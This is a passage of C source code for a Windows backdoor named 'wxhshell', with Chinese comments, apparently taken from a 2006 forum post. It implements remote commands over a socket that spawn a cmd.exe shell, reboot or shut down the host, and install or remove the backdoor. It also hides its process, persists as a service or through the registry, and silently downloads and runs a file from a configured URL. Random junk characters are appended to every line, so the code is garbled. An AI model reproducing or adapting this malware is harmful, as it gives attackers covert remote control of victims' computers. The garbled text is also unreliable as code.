|}M~ kJ)  
    switch(cmd[0]) { pZc9q8j3  
  R"m.&%n  
  // 帮助 'wCS6_K  
  case '?': { R'vdk<  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 3js)niT9u  
    break; E^oEG4 X@  
  } 3Qqnw{*  
  // 安装 -X`~;=m>U  
  case 'i': { gcX5Q^`a=  
    if(Install()) TvQWdX=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); p3V9ikyy  
    else A28ZSL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @uQ%o%Ru6  
    break; r$b:1C~  
    } !JT< (I2  
  // 卸载 xnl<<}4pJ  
  case 'r': { {;]uL`abi?  
    if(Uninstall()) &Tf=~6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); tfi2y]{A  
    else B(S5+Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); mJwv&E  
    break; #B}BI8o (  
    } e 7Yb=/F  
  // 显示 wxhshell 所在路径 M \ :"~XW  
  case 'p': { ?whRlh  
    char svExeFile[MAX_PATH]; 3c1o,2  
    strcpy(svExeFile,"\n\r"); 2z.k)Qx!Z  
      strcat(svExeFile,ExeFile); vS~AxeW/7R  
        send(wsh,svExeFile,strlen(svExeFile),0); F7k4C2r  
    break; C\;;9  
    } P Xyyyir{  
  // 重启 ?9o#%?6k  
  case 'b': { 2&^,IIp  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); c28oLT1|D  
    if(Boot(REBOOT)) PiIp<fJd$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^U0apI  
    else { yC9:sQ'k  
    closesocket(wsh); / e~  
    ExitThread(0); n`FQgC  
    } F!z! :yp  
    break; 2jI4V;H8g  
    } 5O;/ lX!u  
  // 关机 E'S<L|A/  
  case 'd': { 8.Pcr<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eLHa9R{)B  
    if(Boot(SHUTDOWN)) D6C -x  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Pur"9jHa4  
    else { Hl%+F 0^?  
    closesocket(wsh); -L^0-g  
    ExitThread(0); Mft0D j/  
    } 9`nP(~  
    break; *X-~TC0 [  
    } i~v@  
  // 获取shell ,Ut!u)  
  case 's': { UD Iac;vT  
    CmdShell(wsh); {GGO')p  
    closesocket(wsh); Y\Fuj)  
    ExitThread(0); !Szgph"ul  
    break; Vp- n(Z  
  } 6E*Zj1KX  
  // 退出 Q%gY.n{=  
  case 'x': { ~2, wI<Nz  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Og&0Z)%  
    CloseIt(wsh); Nlf&]^4(0  
    break; rsIt~w  
    } i9#`F.7F  
  // 离开 dpc=yXg>"c  
  case 'q': { Gaw,1Ow!`2  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 2uI`$A:  
    closesocket(wsh); l(0&6ENyj  
    WSACleanup(); ,b2O^tJF#  
    exit(1); iTKG,$G  
    break; ?kT~)k  
        } IdQwLt  
  } NO0[`jy(  
  } ey9fbS ^I  
!0d9<SVC  
  // 提示信息 he#Tr'j  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); {ra Esb-X  
} [nhLhl4S  
  } O*+w_fox  
?(`nBlWQ5  
  return; _If@#WnoyA  
} %(O^as  
D@YM}HXuj  
// shell模块句柄 >.k@!*  
int CmdShell(SOCKET sock) 1W6n[Xg  
{ lHj7O &+  
STARTUPINFO si; 9X^-)G>  
ZeroMemory(&si,sizeof(si)); J^<j=a|D  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ZQ-z2s9U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; HzO0K=Z=R0  
PROCESS_INFORMATION ProcessInfo; )Or:wFSMq  
char cmdline[]="cmd"; .J7-4  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); W4] 0qp`\  
  return 0; 0ghwFo  
} se*pkgWbz  
TF ([yZO'  
// 自身启动模式 :67d>wb  
int StartFromService(void) :,J86#S)  
{ |L~gNC  
typedef struct w~FO:/  
{ 9N3oVHc?  
  DWORD ExitStatus; .Q6{$Y%l  
  DWORD PebBaseAddress; A=2nj  
  DWORD AffinityMask; TTw~.x,  
  DWORD BasePriority;  }@Ll!,  
  ULONG UniqueProcessId; A.'`FtV  
  ULONG InheritedFromUniqueProcessId; hTNYjXj  
}   PROCESS_BASIC_INFORMATION; 7UEy L }N  
1J!tcj1(  
PROCNTQSIP NtQueryInformationProcess; d+$[EDix  
6I6ZVSxb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; /[)P^L`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; |RbUmuj  
"~,(Xa3x  
  HANDLE             hProcess; f*R_\  
  PROCESS_BASIC_INFORMATION pbi; G%x,t -  
,~68~_)  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL");   !AD,  
  if(NULL == hInst ) return 0; D3 Ea2}8  
{<V|Gr  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,:Y=,[n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); -<VF6k<  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^/RM;`h0  
P$#}-15?|_  
  if (!NtQueryInformationProcess) return 0; W} +6L|  
!nD[hI8P  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); oCru5F  
  if(!hProcess) return 0; $@ #G+QQ_  
(^OC%pc  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ?[|4QzR  
MrygEC 5  
  CloseHandle(hProcess); p44uozbK  
c=c.p i"s  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); OKNs ( H  
if(hProcess==NULL) return 0; oz5lt4  
!*QA;*e  
HMODULE hMod; C&MqUj"]  
char procName[255]; }v|[h[cZ  
unsigned long cbNeeded; ]r{ #268  
l9Cy30O6  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ',-X#u  
(fjXp75  
  CloseHandle(hProcess); :\HN?_?{4  
'1T v1  
if(strstr(procName,"services")) return 1; // 以服务启动 s_e#y{ {C2  
"i5AAP?_]{  
  return 0; // 注册表启动 <P)%Ms  
} orN2(:Ct7  
FU3IK3}  
// 主模块 <8}9s9Nk  
int StartWxhshell(LPSTR lpCmdLine) qb/!;U_  
{ Y&:\s8C  
  SOCKET wsl; } jy7,+  
BOOL val=TRUE; Iw-6Z+ 94  
  int port=0; %4g4 C#  
  struct sockaddr_in door; hD~/6bx  
hCx#Heh  
  if(wscfg.ws_autoins) Install(); ViC76aJ  
vf'jz`Z  
port=atoi(lpCmdLine); UgBY ){<  
,}xC) >  
if(port<=0) port=wscfg.ws_port; 5Szo5  
HrcnyQ`Q0  
  WSADATA data; ZkG##Jp\>  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 4 w  
SodW5v a  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ToCfLJ?{  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); YH6 K-}  
  door.sin_family = AF_INET; m3ZOq B-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 91'^--N  
  door.sin_port = htons(port); m*WEge*$t  
p{_ O*bo  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &5CeRx7%  
closesocket(wsl); ]$X=~>w  
return 1; . *+7xL  
} bJu,R-f  
TuPxyB  
  if(listen(wsl,2) == INVALID_SOCKET) { u(Q(UuI  
closesocket(wsl); _!T$|,a  
return 1; t"m`P1  
} ?q8g<-?  
  Wxhshell(wsl); R(#;yn  
  WSACleanup(); KuAGy*:4T  
/]UNN~(  
return 0; kUBHK"}K  
LA(JA  
} G5@@m-  
J~ rC  
// 以NT服务方式启动 W`rE\P  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -CNv=vj 3  
{ S 2` ;7  
DWORD   status = 0; 7 @Qlp$[F  
  DWORD   specificError = 0xfffffff; CHSD 8D  
'Z%aBCM  
  serviceStatus.dwServiceType     = SERVICE_WIN32; = ft$j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w4/)r-Z4I  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; R3 =E?us!  
  serviceStatus.dwWin32ExitCode     = 0; Y\2>y"8>$x  
  serviceStatus.dwServiceSpecificExitCode = 0; =<tEc+!T3  
  serviceStatus.dwCheckPoint       = 0; MZ[g|o!)v  
  serviceStatus.dwWaitHint       = 0; w'j]Y%  
 [?(W7  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); O-m}P  
  if (hServiceStatusHandle==0) return; =njj.<BO  
x}24?mP  
status = GetLastError(); um4zLsd#v  
  if (status!=NO_ERROR) (3S/"ZE  
{ Q^;\!$:M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; / S^m!{  
    serviceStatus.dwCheckPoint       = 0; J*k=|+[  
    serviceStatus.dwWaitHint       = 0; >I ; #BE3  
    serviceStatus.dwWin32ExitCode     = status; u8\QhUk'G  
    serviceStatus.dwServiceSpecificExitCode = specificError; eJdQ7g[>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X'p%$HsMG  
    return; [aUT #  
  } T7X2$ '  
u01^ABn  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; jYx(  
  serviceStatus.dwCheckPoint       = 0; 7q=xW6  
  serviceStatus.dwWaitHint       = 0; |#,W3Ik(l  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); )W#g@V)>  
} PhdL@Mr  
BAed [  
// 处理NT服务事件,比如:启动、停止 `{[C4]Ew/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) >sY+Y22U  
{ 6<O]_HZ&  
switch(fdwControl) qWK7K%-$ E  
{ vUExS Z^  
case SERVICE_CONTROL_STOP: $fG/gYvI\  
  serviceStatus.dwWin32ExitCode = 0; 8hV:bz"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 'KrkC A  
  serviceStatus.dwCheckPoint   = 0; W u{nC  
  serviceStatus.dwWaitHint     = 0; 'v5gg2  
  { mSp7H!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?NeB_<dLa`  
  } {[#  
  return; !7|9r$  
case SERVICE_CONTROL_PAUSE: BE;iC.rW  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ou4?`JF)-  
  break; ^DJ U99  
case SERVICE_CONTROL_CONTINUE: T!$HVHh&,}  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; LZ$!=vg4  
  break; Qk?Jy<Ra  
case SERVICE_CONTROL_INTERROGATE: =v;@w$#  
  break; 9&jNdB  
}; Z k_&Kw|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A>S2BL#=  
} l0)6[yXK  
ZmF32 Ir  
// 标准应用程序主函数 J> |`  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~0:c{v;4  
{ n\,W:G9AR7  
X^)5O>>|t  
// 获取操作系统版本 ,bg#pG!x Q  
OsIsNt=GetOsVer(); oZw#Nd   
GetModuleFileName(NULL,ExeFile,MAX_PATH); U{m:{'np(H  
<Z_`^~!  
  // 从命令行安装 xJlq2cK  
  if(strpbrk(lpCmdLine,"iI")) Install(); m#P&Yd4T  
)`0 j\  
  // 下载执行文件 kv2:rmv  
if(wscfg.ws_downexe) { H%V[% T4=  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 3iwZUqyq  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7?@v}%w  
} \`&fr+x  
A 2 )%+  
if(!OsIsNt) { ~d]7 Cl  
// 如果时win9x,隐藏进程并且设置为注册表启动 jeNEC&J  
HideProc(); Er`PYE J  
StartWxhshell(lpCmdLine); Dbd5d]]n3  
} F*u;'K   
else c7 -j  
  if(StartFromService()) |&.)_+w  
  // 以服务方式启动 4T-AWk  
  StartServiceCtrlDispatcher(DispatchTable); B(U`Zd  
else /vKDlCH*  
  // 普通方式启动 ^%.<(:k[L  
  StartWxhshell(lpCmdLine);  \ Ld7fP  
chbs9y0  
return 0; X+ jSB,  
}
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只看该作者 1 发表于: 2006-10-10
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